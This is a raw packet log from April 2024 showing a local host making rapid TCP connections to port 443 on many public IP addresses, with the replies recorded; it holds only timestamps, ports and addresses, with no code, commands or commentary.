Apr 14, 2024 03:59:52.100325108 CEST	443	50838	117.154.243.31	192.168.2.23
Apr 14, 2024 03:59:52.100330114 CEST	50862	443	192.168.2.23	2.64.136.45
Apr 14, 2024 03:59:52.100339890 CEST	443	50862	2.64.136.45	192.168.2.23
Apr 14, 2024 03:59:52.100375891 CEST	50862	443	192.168.2.23	2.64.136.45
Apr 14, 2024 03:59:52.100382090 CEST	50838	443	192.168.2.23	117.154.243.31
Apr 14, 2024 03:59:52.100399017 CEST	57766	443	192.168.2.23	2.141.207.60
Apr 14, 2024 03:59:52.100406885 CEST	443	57766	42.45.213.158	192.168.2.23
Apr 14, 2024 03:59:52.100413084 CEST	47600	443	192.168.2.23	178.16.185.140
Apr 14, 2024 03:59:52.100413084 CEST	57410	443	192.168.2.23	37.179.169.244
Apr 14, 2024 03:59:52.100425959 CEST	443	47600	178.16.185.140	192.168.2.23
Apr 14, 2024 03:59:52.100440025 CEST	443	57410	37.179.169.244	192.168.2.23
Apr 14, 2024 03:59:52.100456953 CEST	34946	443	192.168.2.23	202.31.236.75
Apr 14, 2024 03:59:52.100459099 CEST	42226	443	192.168.2.23	79.246.121.249
Apr 14, 2024 03:59:52.100459099 CEST	48140	443	192.168.2.23	5.197.160.41
Apr 14, 2024 03:59:52.100466967 CEST	443	34946	202.31.236.75	192.168.2.23
Apr 14, 2024 03:59:52.100469112 CEST	443	42226	79.246.121.249	192.168.2.23
Apr 14, 2024 03:59:52.100480080 CEST	443	48140	5.197.160.41	192.168.2.23
Apr 14, 2024 03:59:52.100501060 CEST	58584	443	192.168.2.23	118.177.169.165
Apr 14, 2024 03:59:52.100508928 CEST	443	58584	118.177.169.165	192.168.2.23
Apr 14, 2024 03:59:52.100526094 CEST	34946	443	192.168.2.23	202.31.236.75
Apr 14, 2024 03:59:52.100531101 CEST	42226	443	192.168.2.23	79.246.121.249
Apr 14, 2024 03:59:52.100531101 CEST	48140	443	192.168.2.23	5.197.160.41
Apr 14, 2024 03:59:52.100531101 CEST	60324	443	192.168.2.23	109.183.54.149
Apr 14, 2024 03:59:52.100533962 CEST	50918	443	192.168.2.23	148.20.156.189
Apr 14, 2024 03:59:52.100536108 CEST	46054	443	192.168.2.23	117.112.218.211
Apr 14, 2024 03:59:52.100539923 CEST	47600	443	192.168.2.23	178.16.185.140
Apr 14, 2024 03:59:52.100539923 CEST	57410	443	192.168.2.23	37.179.169.244
Apr 14, 2024 03:59:52.100539923 CEST	58584	443	192.168.2.23	118.177.169.165
Apr 14, 2024 03:59:52.100541115 CEST	43350	443	192.168.2.23	5.139.74.231
Apr 14, 2024 03:59:52.100541115 CEST	443	46054	117.112.218.211	192.168.2.23
Apr 14, 2024 03:59:52.100541115 CEST	44774	443	192.168.2.23	37.101.227.89
Apr 14, 2024 03:59:52.100543022 CEST	443	50918	148.20.156.189	192.168.2.23
Apr 14, 2024 03:59:52.100548029 CEST	443	60324	109.183.54.149	192.168.2.23
Apr 14, 2024 03:59:52.100560904 CEST	443	43350	5.139.74.231	192.168.2.23
Apr 14, 2024 03:59:52.100574017 CEST	443	44774	37.101.227.89	192.168.2.23
Apr 14, 2024 03:59:52.100589991 CEST	50918	443	192.168.2.23	148.20.156.189
Apr 14, 2024 03:59:52.100593090 CEST	43350	443	192.168.2.23	5.139.74.231
Apr 14, 2024 03:59:52.100594044 CEST	60324	443	192.168.2.23	109.183.54.149
Apr 14, 2024 03:59:52.100594044 CEST	46054	443	192.168.2.23	117.112.218.211
Apr 14, 2024 03:59:52.100646019 CEST	44774	443	192.168.2.23	37.101.227.89
Apr 14, 2024 03:59:52.100717068 CEST	54938	443	192.168.2.23	123.39.200.62
Apr 14, 2024 03:59:52.100719929 CEST	48782	443	192.168.2.23	178.63.234.37
Apr 14, 2024 03:59:52.100724936 CEST	443	54938	123.39.200.62	192.168.2.23
Apr 14, 2024 03:59:52.100727081 CEST	443	48782	178.63.234.37	192.168.2.23
Apr 14, 2024 03:59:52.100739956 CEST	51782	443	192.168.2.23	42.227.169.55
Apr 14, 2024 03:59:52.100745916 CEST	57588	443	192.168.2.23	2.191.20.96
Apr 14, 2024 03:59:52.100748062 CEST	54938	443	192.168.2.23	123.39.200.62
Apr 14, 2024 03:59:52.100750923 CEST	443	51782	42.227.169.55	192.168.2.23
Apr 14, 2024 03:59:52.100754976 CEST	443	57588	2.191.20.96	192.168.2.23
Apr 14, 2024 03:59:52.100778103 CEST	48782	443	192.168.2.23	178.63.234.37
Apr 14, 2024 03:59:52.100790024 CEST	57588	443	192.168.2.23	2.191.20.96
Apr 14, 2024 03:59:52.100830078 CEST	51782	443	192.168.2.23	42.227.169.55
Apr 14, 2024 03:59:52.100841045 CEST	56342	443	192.168.2.23	123.119.110.66
Apr 14, 2024 03:59:52.100841999 CEST	55302	443	192.168.2.23	118.69.172.35
Apr 14, 2024 03:59:52.100843906 CEST	53816	443	192.168.2.23	5.92.197.67
Apr 14, 2024 03:59:52.100847006 CEST	443	56342	123.119.110.66	192.168.2.23
Apr 14, 2024 03:59:52.100848913 CEST	443	55302	118.69.172.35	192.168.2.23
Apr 14, 2024 03:59:52.100861073 CEST	443	53816	5.92.197.67	192.168.2.23
Apr 14, 2024 03:59:52.100862026 CEST	44528	443	192.168.2.23	210.31.235.118
Apr 14, 2024 03:59:52.100871086 CEST	443	44528	210.31.235.118	192.168.2.23
Apr 14, 2024 03:59:52.100871086 CEST	47708	443	192.168.2.23	210.104.214.179
Apr 14, 2024 03:59:52.100876093 CEST	56342	443	192.168.2.23	123.119.110.66
Apr 14, 2024 03:59:52.100878000 CEST	55302	443	192.168.2.23	118.69.172.35
Apr 14, 2024 03:59:52.100882053 CEST	443	47708	210.104.214.179	192.168.2.23
Apr 14, 2024 03:59:52.100908041 CEST	57138	443	192.168.2.23	94.86.12.105
Apr 14, 2024 03:59:52.100908995 CEST	53816	443	192.168.2.23	5.92.197.67
Apr 14, 2024 03:59:52.100927114 CEST	443	57138	94.86.12.105	192.168.2.23
Apr 14, 2024 03:59:52.100945950 CEST	44528	443	192.168.2.23	210.31.235.118
Apr 14, 2024 03:59:52.100945950 CEST	50116	443	192.168.2.23	210.189.112.210
Apr 14, 2024 03:59:52.100945950 CEST	38018	443	192.168.2.23	37.176.67.38
Apr 14, 2024 03:59:52.100955009 CEST	443	38018	37.176.67.38	192.168.2.23
Apr 14, 2024 03:59:52.100960970 CEST	443	50116	210.189.112.210	192.168.2.23
Apr 14, 2024 03:59:52.100970030 CEST	47708	443	192.168.2.23	210.104.214.179
Apr 14, 2024 03:59:52.100974083 CEST	53124	443	192.168.2.23	123.43.186.177
Apr 14, 2024 03:59:52.100974083 CEST	57138	443	192.168.2.23	94.86.12.105
Apr 14, 2024 03:59:52.100994110 CEST	443	53124	123.43.186.177	192.168.2.23
Apr 14, 2024 03:59:52.101012945 CEST	38018	443	192.168.2.23	37.176.67.38
Apr 14, 2024 03:59:52.101013899 CEST	50116	443	192.168.2.23	210.189.112.210
Apr 14, 2024 03:59:52.101015091 CEST	51104	443	192.168.2.23	42.204.239.55
Apr 14, 2024 03:59:52.101021051 CEST	46522	443	192.168.2.23	148.100.193.98
Apr 14, 2024 03:59:52.101026058 CEST	443	51104	42.204.239.55	192.168.2.23
Apr 14, 2024 03:59:52.101027966 CEST	443	46522	148.100.193.98	192.168.2.23
Apr 14, 2024 03:59:52.101030111 CEST	53124	443	192.168.2.23	123.43.186.177
Apr 14, 2024 03:59:52.101063967 CEST	51104	443	192.168.2.23	42.204.239.55
Apr 14, 2024 03:59:52.101068020 CEST	46522	443	192.168.2.23	148.100.193.98
Apr 14, 2024 03:59:52.101205111 CEST	52926	443	192.168.2.23	42.96.18.130
Apr 14, 2024 03:59:52.101210117 CEST	56256	443	192.168.2.23	148.48.134.188
Apr 14, 2024 03:59:52.101211071 CEST	53036	443	192.168.2.23	123.192.168.226
Apr 14, 2024 03:59:52.101214886 CEST	443	52926	42.96.18.130	192.168.2.23
Apr 14, 2024 03:59:52.101221085 CEST	443	53036	123.192.168.226	192.168.2.23
Apr 14, 2024 03:59:52.101222038 CEST	443	56256	148.48.134.188	192.168.2.23
Apr 14, 2024 03:59:52.101226091 CEST	33280	443	192.168.2.23	212.169.115.151
Apr 14, 2024 03:59:52.101233006 CEST	443	33280	212.169.115.151	192.168.2.23
Apr 14, 2024 03:59:52.101247072 CEST	44408	443	192.168.2.23	123.206.72.54
Apr 14, 2024 03:59:52.101252079 CEST	56256	443	192.168.2.23	148.48.134.188
Apr 14, 2024 03:59:52.101255894 CEST	443	44408	123.206.72.54	192.168.2.23
Apr 14, 2024 03:59:52.101284981 CEST	52926	443	192.168.2.23	42.96.18.130
Apr 14, 2024 03:59:52.101285934 CEST	33280	443	192.168.2.23	212.169.115.151
Apr 14, 2024 03:59:52.101291895 CEST	46038	443	192.168.2.23	109.202.201.102
Apr 14, 2024 03:59:52.101293087 CEST	53036	443	192.168.2.23	123.192.168.226
Apr 14, 2024 03:59:52.101294041 CEST	44408	443	192.168.2.23	123.206.72.54
Apr 14, 2024 03:59:52.101298094 CEST	443	46038	109.202.201.102	192.168.2.23
Apr 14, 2024 03:59:52.101330042 CEST	46038	443	192.168.2.23	109.202.201.102
Apr 14, 2024 03:59:52.102741003 CEST	58904	443	192.168.2.23	117.152.5.2
Apr 14, 2024 03:59:52.102755070 CEST	443	58904	117.152.5.2	192.168.2.23
Apr 14, 2024 03:59:52.102823973 CEST	58904	443	192.168.2.23	117.152.5.2
Apr 14, 2024 03:59:52.102869987 CEST	44104	443	192.168.2.23	109.196.244.129
Apr 14, 2024 03:59:52.102881908 CEST	443	44104	109.196.244.129	192.168.2.23
Apr 14, 2024 03:59:52.102889061 CEST	56426	443	192.168.2.23	148.57.187.216
Apr 14, 2024 03:59:52.102889061 CEST	56426	443	192.168.2.23	148.57.187.216
Apr 14, 2024 03:59:52.102896929 CEST	443	58904	117.152.5.2	192.168.2.23
Apr 14, 2024 03:59:52.102910042 CEST	443	56426	148.57.187.216	192.168.2.23
Apr 14, 2024 03:59:52.102955103 CEST	443	56426	148.57.187.216	192.168.2.23
Apr 14, 2024 03:59:52.102993011 CEST	443	44104	109.196.244.129	192.168.2.23
Apr 14, 2024 03:59:52.104254961 CEST	51764	443	192.168.2.23	37.149.242.184
Apr 14, 2024 03:59:52.104269028 CEST	443	51764	37.149.242.184	192.168.2.23
Apr 14, 2024 03:59:52.104290009 CEST	51764	443	192.168.2.23	37.149.242.184
Apr 14, 2024 03:59:52.104315996 CEST	46122	443	192.168.2.23	94.190.168.5
Apr 14, 2024 03:59:52.104334116 CEST	443	51764	37.149.242.184	192.168.2.23
Apr 14, 2024 03:59:52.104336023 CEST	443	46122	94.190.168.5	192.168.2.23
Apr 14, 2024 03:59:52.104348898 CEST	46122	443	192.168.2.23	94.190.168.5
Apr 14, 2024 03:59:52.104361057 CEST	443	46122	94.190.168.5	192.168.2.23
Apr 14, 2024 03:59:52.104372025 CEST	42680	443	192.168.2.23	212.253.210.109
Apr 14, 2024 03:59:52.104382038 CEST	443	42680	212.253.210.109	192.168.2.23
Apr 14, 2024 03:59:52.104429960 CEST	443	42680	212.253.210.109	192.168.2.23
Apr 14, 2024 03:59:52.104439020 CEST	42680	443	192.168.2.23	212.253.210.109
Apr 14, 2024 03:59:52.104441881 CEST	52212	443	192.168.2.23	210.237.21.142
Apr 14, 2024 03:59:52.104443073 CEST	52212	443	192.168.2.23	210.237.21.142
Apr 14, 2024 03:59:52.104449034 CEST	443	42680	212.253.210.109	192.168.2.23
Apr 14, 2024 03:59:52.104459047 CEST	52160	443	192.168.2.23	118.172.41.124
Apr 14, 2024 03:59:52.104460955 CEST	443	52212	210.237.21.142	192.168.2.23
Apr 14, 2024 03:59:52.104469061 CEST	443	52160	118.172.41.124	192.168.2.23
Apr 14, 2024 03:59:52.104487896 CEST	443	52212	210.237.21.142	192.168.2.23
Apr 14, 2024 03:59:52.104501009 CEST	52160	443	192.168.2.23	118.172.41.124
Apr 14, 2024 03:59:52.104513884 CEST	443	52160	118.172.41.124	192.168.2.23
Apr 14, 2024 03:59:52.104553938 CEST	59856	443	192.168.2.23	2.147.10.246
Apr 14, 2024 03:59:52.104584932 CEST	443	59856	2.147.10.246	192.168.2.23
Apr 14, 2024 03:59:52.104603052 CEST	59856	443	192.168.2.23	2.147.10.246
Apr 14, 2024 03:59:52.104612112 CEST	49272	443	192.168.2.23	212.159.156.91
Apr 14, 2024 03:59:52.104614973 CEST	443	59856	2.147.10.246	192.168.2.23
Apr 14, 2024 03:59:52.104640007 CEST	56506	443	192.168.2.23	94.21.126.80
Apr 14, 2024 03:59:52.104654074 CEST	443	49272	212.159.156.91	192.168.2.23
Apr 14, 2024 03:59:52.104655981 CEST	443	56506	94.21.126.80	192.168.2.23
Apr 14, 2024 03:59:52.104667902 CEST	56506	443	192.168.2.23	94.21.126.80
Apr 14, 2024 03:59:52.104679108 CEST	443	56506	94.21.126.80	192.168.2.23
Apr 14, 2024 03:59:52.104679108 CEST	49272	443	192.168.2.23	212.159.156.91
Apr 14, 2024 03:59:52.104686022 CEST	443	49272	212.159.156.91	192.168.2.23
Apr 14, 2024 03:59:52.104700089 CEST	443	49272	212.159.156.91	192.168.2.23
Apr 14, 2024 03:59:52.104715109 CEST	57766	443	192.168.2.23	42.45.213.158
Apr 14, 2024 03:59:52.104731083 CEST	443	57766	42.45.213.158	192.168.2.23
Apr 14, 2024 03:59:52.104738951 CEST	57766	443	192.168.2.23	42.45.213.158
Apr 14, 2024 03:59:52.104744911 CEST	43822	443	192.168.2.23	202.72.202.97
Apr 14, 2024 03:59:52.104754925 CEST	443	43822	202.72.202.97	192.168.2.23
Apr 14, 2024 03:59:52.104756117 CEST	443	57766	42.45.213.158	192.168.2.23
Apr 14, 2024 03:59:52.104779959 CEST	443	43822	202.72.202.97	192.168.2.23
Apr 14, 2024 03:59:52.104789972 CEST	43822	443	192.168.2.23	202.72.202.97
Apr 14, 2024 03:59:52.104789972 CEST	41838	443	192.168.2.23	178.120.28.99
Apr 14, 2024 03:59:52.104798079 CEST	443	43822	202.72.202.97	192.168.2.23
Apr 14, 2024 03:59:52.104811907 CEST	443	41838	178.120.28.99	192.168.2.23
Apr 14, 2024 03:59:52.104816914 CEST	48274	443	192.168.2.23	212.1.197.59
Apr 14, 2024 03:59:52.104820967 CEST	41838	443	192.168.2.23	178.120.28.99
Apr 14, 2024 03:59:52.104827881 CEST	443	48274	212.1.197.59	192.168.2.23
Apr 14, 2024 03:59:52.104842901 CEST	48274	443	192.168.2.23	212.1.197.59
Apr 14, 2024 03:59:52.104852915 CEST	33138	443	192.168.2.23	2.117.171.24
Apr 14, 2024 03:59:52.104871988 CEST	443	33138	2.117.171.24	192.168.2.23
Apr 14, 2024 03:59:52.104882002 CEST	33138	443	192.168.2.23	2.117.171.24
Apr 14, 2024 03:59:52.104892969 CEST	48538	443	192.168.2.23	148.57.18.34
Apr 14, 2024 03:59:52.104898930 CEST	443	48274	212.1.197.59	192.168.2.23
Apr 14, 2024 03:59:52.104904890 CEST	443	48538	148.57.18.34	192.168.2.23
Apr 14, 2024 03:59:52.104913950 CEST	48538	443	192.168.2.23	148.57.18.34
Apr 14, 2024 03:59:52.104931116 CEST	47044	443	192.168.2.23	109.160.197.44
Apr 14, 2024 03:59:52.104944944 CEST	443	47044	109.160.197.44	192.168.2.23
Apr 14, 2024 03:59:52.104959965 CEST	443	33138	2.117.171.24	192.168.2.23
Apr 14, 2024 03:59:52.104969025 CEST	47044	443	192.168.2.23	109.160.197.44
Apr 14, 2024 03:59:52.104970932 CEST	443	48538	148.57.18.34	192.168.2.23
Apr 14, 2024 03:59:52.104986906 CEST	46722	443	192.168.2.23	37.58.194.208
Apr 14, 2024 03:59:52.104996920 CEST	443	46722	37.58.194.208	192.168.2.23
Apr 14, 2024 03:59:52.105021954 CEST	46722	443	192.168.2.23	37.58.194.208
Apr 14, 2024 03:59:52.105026007 CEST	443	41838	178.120.28.99	192.168.2.23
Apr 14, 2024 03:59:52.105091095 CEST	443	46722	37.58.194.208	192.168.2.23
Apr 14, 2024 03:59:52.105097055 CEST	44488	443	192.168.2.23	210.186.101.74
Apr 14, 2024 03:59:52.105097055 CEST	44488	443	192.168.2.23	210.186.101.74
Apr 14, 2024 03:59:52.105110884 CEST	57968	443	192.168.2.23	117.172.55.223
Apr 14, 2024 03:59:52.105119944 CEST	443	44488	210.186.101.74	192.168.2.23
Apr 14, 2024 03:59:52.105122089 CEST	443	57968	117.172.55.223	192.168.2.23
Apr 14, 2024 03:59:52.105135918 CEST	57968	443	192.168.2.23	117.172.55.223
Apr 14, 2024 03:59:52.105139017 CEST	38046	443	192.168.2.23	79.155.242.16
Apr 14, 2024 03:59:52.105149984 CEST	443	38046	79.155.242.16	192.168.2.23
Apr 14, 2024 03:59:52.105170965 CEST	38046	443	192.168.2.23	79.155.242.16
Apr 14, 2024 03:59:52.105181932 CEST	443	57968	117.172.55.223	192.168.2.23
Apr 14, 2024 03:59:52.105181932 CEST	38866	443	192.168.2.23	94.177.146.224
Apr 14, 2024 03:59:52.105185032 CEST	53840	443	192.168.2.23	109.195.246.175
Apr 14, 2024 03:59:52.105185032 CEST	53840	443	192.168.2.23	109.195.246.175
Apr 14, 2024 03:59:52.105195045 CEST	443	53840	109.195.246.175	192.168.2.23
Apr 14, 2024 03:59:52.105200052 CEST	443	38866	94.177.146.224	192.168.2.23
Apr 14, 2024 03:59:52.105222940 CEST	443	38046	79.155.242.16	192.168.2.23
Apr 14, 2024 03:59:52.105235100 CEST	56716	443	192.168.2.23	148.132.221.74
Apr 14, 2024 03:59:52.105235100 CEST	38866	443	192.168.2.23	94.177.146.224
Apr 14, 2024 03:59:52.105247021 CEST	443	56716	148.132.221.74	192.168.2.23
Apr 14, 2024 03:59:52.105266094 CEST	443	44488	210.186.101.74	192.168.2.23
Apr 14, 2024 03:59:52.105269909 CEST	443	38866	94.177.146.224	192.168.2.23
Apr 14, 2024 03:59:52.105303049 CEST	56716	443	192.168.2.23	148.132.221.74
Apr 14, 2024 03:59:52.105304956 CEST	443	53840	109.195.246.175	192.168.2.23
Apr 14, 2024 03:59:52.105312109 CEST	49328	443	192.168.2.23	123.172.114.183
Apr 14, 2024 03:59:52.105319023 CEST	443	47044	109.160.197.44	192.168.2.23
Apr 14, 2024 03:59:52.105340004 CEST	443	49328	123.172.114.183	192.168.2.23
Apr 14, 2024 03:59:52.105355024 CEST	443	56716	148.132.221.74	192.168.2.23
Apr 14, 2024 03:59:52.105365992 CEST	49328	443	192.168.2.23	123.172.114.183
Apr 14, 2024 03:59:52.105374098 CEST	56462	443	192.168.2.23	148.93.101.77
Apr 14, 2024 03:59:52.105384111 CEST	443	56462	148.93.101.77	192.168.2.23
Apr 14, 2024 03:59:52.105403900 CEST	443	49328	123.172.114.183	192.168.2.23
Apr 14, 2024 03:59:52.105406046 CEST	56462	443	192.168.2.23	148.93.101.77
Apr 14, 2024 03:59:52.105444908 CEST	443	56462	148.93.101.77	192.168.2.23
Apr 14, 2024 03:59:52.105499983 CEST	59758	443	192.168.2.23	212.42.201.199
Apr 14, 2024 03:59:52.105500937 CEST	52512	443	192.168.2.23	148.59.237.9
Apr 14, 2024 03:59:52.105500937 CEST	52512	443	192.168.2.23	148.59.237.9
Apr 14, 2024 03:59:52.105511904 CEST	443	52512	148.59.237.9	192.168.2.23
Apr 14, 2024 03:59:52.105515003 CEST	443	59758	212.42.201.199	192.168.2.23
Apr 14, 2024 03:59:52.105530977 CEST	59758	443	192.168.2.23	212.42.201.199
Apr 14, 2024 03:59:52.105545998 CEST	50644	443	192.168.2.23	117.144.110.126
Apr 14, 2024 03:59:52.105546951 CEST	443	59758	212.42.201.199	192.168.2.23
Apr 14, 2024 03:59:52.105562925 CEST	49228	443	192.168.2.23	123.64.141.15
Apr 14, 2024 03:59:52.105562925 CEST	49228	443	192.168.2.23	123.64.141.15
Apr 14, 2024 03:59:52.105570078 CEST	443	50644	117.144.110.126	192.168.2.23
Apr 14, 2024 03:59:52.105571032 CEST	60108	443	192.168.2.23	5.224.7.158
Apr 14, 2024 03:59:52.105576038 CEST	443	49228	123.64.141.15	192.168.2.23
Apr 14, 2024 03:59:52.105611086 CEST	38108	443	192.168.2.23	212.232.115.244
Apr 14, 2024 03:59:52.105613947 CEST	60108	443	192.168.2.23	5.224.7.158
Apr 14, 2024 03:59:52.105619907 CEST	443	38108	212.232.115.244	192.168.2.23
Apr 14, 2024 03:59:52.105647087 CEST	38368	443	192.168.2.23	94.4.184.1
Apr 14, 2024 03:59:52.105655909 CEST	443	38368	94.4.184.1	192.168.2.23
Apr 14, 2024 03:59:52.105663061 CEST	38108	443	192.168.2.23	212.232.115.244
Apr 14, 2024 03:59:52.105667114 CEST	443	52512	148.59.237.9	192.168.2.23
Apr 14, 2024 03:59:52.105667114 CEST	38368	443	192.168.2.23	94.4.184.1
Apr 14, 2024 03:59:52.105678082 CEST	33354	443	192.168.2.23	37.153.191.34
Apr 14, 2024 03:59:52.105678082 CEST	443	60108	5.224.7.158	192.168.2.23
Apr 14, 2024 03:59:52.105685949 CEST	443	33354	37.153.191.34	192.168.2.23
Apr 14, 2024 03:59:52.105710030 CEST	50644	443	192.168.2.23	117.144.110.126
Apr 14, 2024 03:59:52.105714083 CEST	443	50644	117.144.110.126	192.168.2.23
Apr 14, 2024 03:59:52.105722904 CEST	443	50644	117.144.110.126	192.168.2.23
Apr 14, 2024 03:59:52.105734110 CEST	33354	443	192.168.2.23	37.153.191.34
Apr 14, 2024 03:59:52.105742931 CEST	48366	443	192.168.2.23	5.219.77.22
Apr 14, 2024 03:59:52.105757952 CEST	443	48366	5.219.77.22	192.168.2.23
Apr 14, 2024 03:59:52.105767965 CEST	443	49228	123.64.141.15	192.168.2.23
Apr 14, 2024 03:59:52.105770111 CEST	48366	443	192.168.2.23	5.219.77.22
Apr 14, 2024 03:59:52.105807066 CEST	443	60108	5.224.7.158	192.168.2.23
Apr 14, 2024 03:59:52.105846882 CEST	443	33354	37.153.191.34	192.168.2.23
Apr 14, 2024 03:59:52.105846882 CEST	59832	443	192.168.2.23	178.107.46.185
Apr 14, 2024 03:59:52.105851889 CEST	44718	443	192.168.2.23	123.181.77.188
Apr 14, 2024 03:59:52.105851889 CEST	44718	443	192.168.2.23	123.181.77.188
Apr 14, 2024 03:59:52.105861902 CEST	443	44718	123.181.77.188	192.168.2.23
Apr 14, 2024 03:59:52.105864048 CEST	443	59832	178.107.46.185	192.168.2.23
Apr 14, 2024 03:59:52.105869055 CEST	443	38108	212.232.115.244	192.168.2.23
Apr 14, 2024 03:59:52.105880022 CEST	59832	443	192.168.2.23	178.107.46.185
Apr 14, 2024 03:59:52.105885983 CEST	42018	443	192.168.2.23	94.194.235.58
Apr 14, 2024 03:59:52.105906963 CEST	443	42018	94.194.235.58	192.168.2.23
Apr 14, 2024 03:59:52.105937958 CEST	35690	443	192.168.2.23	2.69.219.10
Apr 14, 2024 03:59:52.105945110 CEST	42018	443	192.168.2.23	94.194.235.58
Apr 14, 2024 03:59:52.105946064 CEST	443	35690	2.69.219.10	192.168.2.23
Apr 14, 2024 03:59:52.105958939 CEST	35690	443	192.168.2.23	2.69.219.10
Apr 14, 2024 03:59:52.106000900 CEST	443	38368	94.4.184.1	192.168.2.23
Apr 14, 2024 03:59:52.106005907 CEST	443	35690	2.69.219.10	192.168.2.23
Apr 14, 2024 03:59:52.106012106 CEST	443	48366	5.219.77.22	192.168.2.23
Apr 14, 2024 03:59:52.106020927 CEST	43488	443	192.168.2.23	123.132.230.7
Apr 14, 2024 03:59:52.106021881 CEST	43488	443	192.168.2.23	123.132.230.7
Apr 14, 2024 03:59:52.106026888 CEST	48468	443	192.168.2.23	210.155.51.199
Apr 14, 2024 03:59:52.106029034 CEST	443	59832	178.107.46.185	192.168.2.23
Apr 14, 2024 03:59:52.106045961 CEST	443	48468	210.155.51.199	192.168.2.23
Apr 14, 2024 03:59:52.106057882 CEST	50212	443	192.168.2.23	123.10.114.83
Apr 14, 2024 03:59:52.106060028 CEST	443	43488	123.132.230.7	192.168.2.23
Apr 14, 2024 03:59:52.106067896 CEST	443	50212	123.10.114.83	192.168.2.23
Apr 14, 2024 03:59:52.106081963 CEST	48468	443	192.168.2.23	210.155.51.199
Apr 14, 2024 03:59:52.106092930 CEST	50212	443	192.168.2.23	123.10.114.83
Apr 14, 2024 03:59:52.106115103 CEST	35050	443	192.168.2.23	2.40.195.150
Apr 14, 2024 03:59:52.106132030 CEST	443	35050	2.40.195.150	192.168.2.23
Apr 14, 2024 03:59:52.106142998 CEST	443	43488	123.132.230.7	192.168.2.23
Apr 14, 2024 03:59:52.106158018 CEST	51448	443	192.168.2.23	42.1.72.106
Apr 14, 2024 03:59:52.106168032 CEST	443	51448	42.1.72.106	192.168.2.23
Apr 14, 2024 03:59:52.106208086 CEST	35050	443	192.168.2.23	2.40.195.150
Apr 14, 2024 03:59:52.106214046 CEST	51448	443	192.168.2.23	42.1.72.106
Apr 14, 2024 03:59:52.106219053 CEST	46814	443	192.168.2.23	212.194.65.103
Apr 14, 2024 03:59:52.106219053 CEST	46814	443	192.168.2.23	212.194.65.103
Apr 14, 2024 03:59:52.106223106 CEST	443	48468	210.155.51.199	192.168.2.23
Apr 14, 2024 03:59:52.106235027 CEST	443	46814	212.194.65.103	192.168.2.23
Apr 14, 2024 03:59:52.106236935 CEST	57956	443	192.168.2.23	210.170.247.216
Apr 14, 2024 03:59:52.106250048 CEST	443	57956	210.170.247.216	192.168.2.23
Apr 14, 2024 03:59:52.106270075 CEST	57956	443	192.168.2.23	210.170.247.216
Apr 14, 2024 03:59:52.106281042 CEST	58298	443	192.168.2.23	212.246.96.185
Apr 14, 2024 03:59:52.106292009 CEST	443	58298	212.246.96.185	192.168.2.23
Apr 14, 2024 03:59:52.106317997 CEST	443	51448	42.1.72.106	192.168.2.23
Apr 14, 2024 03:59:52.106327057 CEST	443	50212	123.10.114.83	192.168.2.23
Apr 14, 2024 03:59:52.106363058 CEST	58298	443	192.168.2.23	212.246.96.185
Apr 14, 2024 03:59:52.106367111 CEST	43518	443	192.168.2.23	202.98.254.22
Apr 14, 2024 03:59:52.106367111 CEST	43518	443	192.168.2.23	202.98.254.22
Apr 14, 2024 03:59:52.106379032 CEST	443	43518	202.98.254.22	192.168.2.23
Apr 14, 2024 03:59:52.106380939 CEST	49032	443	192.168.2.23	5.4.132.142
Apr 14, 2024 03:59:52.106393099 CEST	443	49032	5.4.132.142	192.168.2.23
Apr 14, 2024 03:59:52.106405973 CEST	35654	443	192.168.2.23	109.212.58.118
Apr 14, 2024 03:59:52.106408119 CEST	443	57956	210.170.247.216	192.168.2.23
Apr 14, 2024 03:59:52.106410980 CEST	49032	443	192.168.2.23	5.4.132.142
Apr 14, 2024 03:59:52.106415033 CEST	443	35654	109.212.58.118	192.168.2.23
Apr 14, 2024 03:59:52.106437922 CEST	35654	443	192.168.2.23	109.212.58.118
Apr 14, 2024 03:59:52.106451035 CEST	443	46814	212.194.65.103	192.168.2.23
Apr 14, 2024 03:59:52.106466055 CEST	58472	443	192.168.2.23	212.247.201.128
Apr 14, 2024 03:59:52.106475115 CEST	443	58472	212.247.201.128	192.168.2.23
Apr 14, 2024 03:59:52.106483936 CEST	58472	443	192.168.2.23	212.247.201.128
Apr 14, 2024 03:59:52.106493950 CEST	33828	443	192.168.2.23	210.173.203.37
Apr 14, 2024 03:59:52.106498957 CEST	443	35654	109.212.58.118	192.168.2.23
Apr 14, 2024 03:59:52.106508017 CEST	443	33828	210.173.203.37	192.168.2.23
Apr 14, 2024 03:59:52.106518030 CEST	443	58298	212.246.96.185	192.168.2.23
Apr 14, 2024 03:59:52.106564999 CEST	443	43518	202.98.254.22	192.168.2.23
Apr 14, 2024 03:59:52.106586933 CEST	33828	443	192.168.2.23	210.173.203.37
Apr 14, 2024 03:59:52.106586933 CEST	50038	443	192.168.2.23	212.5.243.73
Apr 14, 2024 03:59:52.106586933 CEST	50038	443	192.168.2.23	212.5.243.73
Apr 14, 2024 03:59:52.106601954 CEST	443	50038	212.5.243.73	192.168.2.23
Apr 14, 2024 03:59:52.106601954 CEST	443	44718	123.181.77.188	192.168.2.23
Apr 14, 2024 03:59:52.106602907 CEST	54642	443	192.168.2.23	42.108.237.51
Apr 14, 2024 03:59:52.106620073 CEST	443	49032	5.4.132.142	192.168.2.23
Apr 14, 2024 03:59:52.106627941 CEST	47248	443	192.168.2.23	123.148.92.129
Apr 14, 2024 03:59:52.106630087 CEST	443	54642	42.108.237.51	192.168.2.23
Apr 14, 2024 03:59:52.106637955 CEST	443	47248	123.148.92.129	192.168.2.23
Apr 14, 2024 03:59:52.106647015 CEST	443	33828	210.173.203.37	192.168.2.23
Apr 14, 2024 03:59:52.106667042 CEST	443	42018	94.194.235.58	192.168.2.23
Apr 14, 2024 03:59:52.106667995 CEST	54642	443	192.168.2.23	42.108.237.51
Apr 14, 2024 03:59:52.106699944 CEST	47248	443	192.168.2.23	123.148.92.129
Apr 14, 2024 03:59:52.106712103 CEST	48478	443	192.168.2.23	42.131.82.165
Apr 14, 2024 03:59:52.106712103 CEST	48478	443	192.168.2.23	42.131.82.165
Apr 14, 2024 03:59:52.106713057 CEST	443	50038	212.5.243.73	192.168.2.23
Apr 14, 2024 03:59:52.106715918 CEST	33412	443	192.168.2.23	148.134.149.44
Apr 14, 2024 03:59:52.106720924 CEST	443	35050	2.40.195.150	192.168.2.23
Apr 14, 2024 03:59:52.106726885 CEST	443	33412	148.134.149.44	192.168.2.23
Apr 14, 2024 03:59:52.106750011 CEST	33412	443	192.168.2.23	148.134.149.44
Apr 14, 2024 03:59:52.106750011 CEST	443	47248	123.148.92.129	192.168.2.23
